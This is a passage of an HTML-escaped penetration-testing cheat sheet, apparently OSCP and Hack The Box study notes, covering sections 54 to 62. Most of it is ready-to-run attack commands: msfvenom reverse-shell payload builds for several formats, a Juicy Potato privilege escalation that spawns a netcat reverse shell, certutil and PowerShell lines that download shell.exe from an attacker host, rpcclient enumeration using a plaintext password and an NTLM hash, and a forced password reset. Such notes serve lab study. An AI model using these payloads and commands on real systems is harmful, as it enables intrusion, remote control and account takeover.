LPORT=6666&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p windows/shell_reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=10.10.16.3 LPORT=3334&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aspx&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.3 LPORT=3333 -f aspx x&amp;gt; ./back.aspx&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;jsp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.3 LPORT=6666 -f raw &amp;gt; shell.jsp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dll&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.0.106 LPORT=4444 -f dll -o /var/public/rev.dll&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;asp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.29 LPORT=6666 -f asp x&amp;gt; ./back.asp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;php&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.16.14 LPORT=6666 -f raw &amp;gt; shell.php&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Use payloads as the -l argument to list all payloads&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Use --platform to specify the payload platform and --arch to specify the architecture&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -l payloads --platform windows --arch x64&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="54standard-windows-privilege-escalation"&gt;&lt;a href="#54standard-windows-privilege-escalation" class="header-anchor"&gt;&lt;/a&gt;54.Standard Windows Privilege Escalation&#10;&lt;/h3&gt;&lt;ol&gt;&#10;&lt;li&gt;Juicy Potato Privilege Escalation&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/k4sth4/Juicy-Potato/blob/main/x64/jp.exe" target="_blank" rel="noopener"&#10; &gt;https://github.com/k4sth4/Juicy-Potato/blob/main/x64/jp.exe&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md" target="_blank" rel="noopener"&#10; &gt;https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md&lt;/a&gt; # find the CLSID for the matching version&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.cnblogs.com/J0o1ey/p/15714555.html" target="_blank" rel="noopener"&#10; &gt;https://www.cnblogs.com/J0o1ey/p/15714555.html&lt;/a&gt; Detailed tutorial&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;Check whether the default RPC port is 135. If it has been changed (for example, to 111), use the juicypotato parameter -n 111 to specify the RPC port.&lt;/li&gt;&#10;&lt;li&gt;Run whoami /priv to check whether the current user privileges meet the requirements.&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;If SeImpersonate is enabled, use -t t with juicypotato.&lt;/p&gt;&#10;&lt;p&gt;If SeAssignPrimaryToken is enabled, use -t u with juicypotato.&lt;/p&gt;&#10;&lt;p&gt;If both are enabled, use -t *.&lt;/p&gt;&#10;&lt;p&gt;If neither is enabled, privilege escalation is not possible.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer" target="_blank" rel="noopener"&#10; &gt;https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo START C:\Users\Destitute\nc64.exe -e cmd.exe 10.10.16.14 5555 &amp;gt; shell.bat&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\jp.exe -t t -p .\shell.bat -l 1118 -c &amp;#34;{0134A8B2-3407-4B45-AD25-E9F7C92A80BC}&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="2"&gt;&#10;&lt;li&gt;&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;h3 id="55impacket-parameters"&gt;&lt;a href="#55impacket-parameters" class="header-anchor"&gt;&lt;/a&gt;55.impacket Parameters&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbserver.py kali . -smb2support #Enable SMB2&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python smbpasswd.py tlavel@10.10.10.193&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="56rpc-enumeration"&gt;&lt;a href="#56rpc-enumeration" class="header-anchor"&gt;&lt;/a&gt;56.RPC Enumeration&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpcclient -U &amp;#34;&amp;#34; -N 10.10.10.248&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpcclient -U &amp;#34;tlavel%9VwzPigFmknx&amp;#34; -c &amp;#39;enumdomusers;enumdomgroups;enumjobs;enumkey;enumports;enumprinters;enumprivs;enumtrust;enumforms;enumdrivers;quit&amp;#39; 10.10.10.193&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpcclient -U &amp;#34;oscp.exam/celia.almeda%e728ecbadfb02f51ce8eed753f3ff3fd&amp;#34; -N -c &amp;#39;enumdomusers;enumdomgroups;enumjobs;enumkey;enumports;enumprinters;enumprivs;enumtrust;enumforms;enumdrivers;quit&amp;#39; 10.10.132.140&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# View all users&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;enumdomusers&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# View all groups&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;enumlsgroups&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Query which groups a user belongs to&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;queryusergroups&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;queryusergroups 0x46c&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The IT group can change passwords&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# A misconfigured permission may allow password changes&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;setuserinfo christopher.lewis 23 &amp;#39;Admin!23&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;setuserinfo2 christopher.lewis 23 &amp;#39;Admin!23&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;setuserinfo3 christopher.lewis 23 &amp;#39;Admin!23&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;This can connect through WinRM&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="57windows-download"&gt;&lt;a href="#57windows-download" class="header-anchor"&gt;&lt;/a&gt;57.windows download&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iwr http://10.10.16.14:33333/ncexe/nc64.exe -OutFile .\nc64.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://10.10.16.2:33333/frp/frpc.exe -o .\frpc.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;certutil -urlcache -split -f http://10.10.16.2:33333/Fuse/shell.exe C:\test\shell.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="58git"&gt;&lt;a href="#58git" class="header-anchor"&gt;&lt;/a&gt;58.git&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git-dumper http://192.168.165.144/.git/ output_dir&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Stage new files in Git&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git add shell.aspx&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Commit changes&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git commit -m &amp;#34;add shell.aspx&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Push changes&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git push origin main&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git show #View all commits&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Stage all changes:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git add . # Stage all changes in the current directory&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git add -A # Stage all changes, including deleted files&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Stage specific files:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git add file1.txt file2.txt # Stage multiple specified files&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git add *.txt # Stage all .txt files&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Similar choices are available when committing:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git commit -m &amp;#34;message&amp;#34; # Commit all staged files&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git commit file1.txt -m &amp;#34;message&amp;#34; # Commit a specific file&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git commit -am &amp;#34;message&amp;#34; # Automatically stage and commit all tracked changes&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Normal commit&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git add .&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git commit -m &amp;#34;test&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git push&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Private-token authentication&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git remote set-url origin https://oauth2:GITLAB_ACCESS_TOKEN_REDACTED@10.20.174.14/your-group/your-project.git&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git remote set-url origin http://oauth2:GITLAB_ACCESS_TOKEN_REDACTED@10.20.174.14/skylark-rd/scratchpad&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://juejin.cn/post/7021023267028729887&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="59exiftool-metadata-analysis"&gt;&lt;a href="#59exiftool-metadata-analysis" class="header-anchor"&gt;&lt;/a&gt;59.ExifTool (Metadata Analysis)&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ExifTool 1.pdf&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ExifTool -a -u 1.pdf&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="60synchronize-the-clock-time"&gt;&lt;a href="#60synchronize-the-clock-time" class="header-anchor"&gt;&lt;/a&gt;60.Synchronize the Clock (Time)&#10;&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://gitlab.com/NTPsec/ntpsec/-/issues/292" target="_blank" rel="noopener"&#10; &gt;https://gitlab.com/NTPsec/ntpsec/-/issues/292&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://askubuntu.com/questions/429306/ntpdate-no-server-suitable-for-synchronization-found" target="_blank" rel="noopener"&#10; &gt;https://askubuntu.com/questions/429306/ntpdate-no-server-suitable-for-synchronization-found&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntpdate -u htb.local &amp;amp;&amp;amp; date&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntpdate -u htb.local -6 &amp;amp;&amp;amp; date&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntpdate -u htb.local -4 &amp;amp;&amp;amp; date&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpcclient -U &amp;#34;&amp;#34; -N htb.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpcdump&amp;gt; gettime&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net time -S htb.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rdate -n htb.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#Synchronize&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;date -s &amp;#34;Sat Dec 7 05:14:11 2024&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;date&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="61windows-read-the-microsoft-defender-exclusion-list"&gt;&lt;a href="#61windows-read-the-microsoft-defender-exclusion-list" class="header-anchor"&gt;&lt;/a&gt;61.Windows: Read the Microsoft Defender Exclusion List&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;reg query &amp;#34;HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions&amp;#34; /s&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="62oscp-notes---information-gathering"&gt;&lt;a href="#62oscp-notes---information-gathering" class="header-anchor"&gt;&lt;/a&gt;62.OSCP Notes - Information Gathering&#10;&lt;/h3&gt;&lt;p&gt;WHOIS listens on port 43.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;whois 38.100.193.70 -h 192.168.50.251&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;whois megacorpone.com -h 192.168.50.251&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;whois megacorpone.com -h 192.168.131.251&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Google: use the Google crawler for information gathering.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span 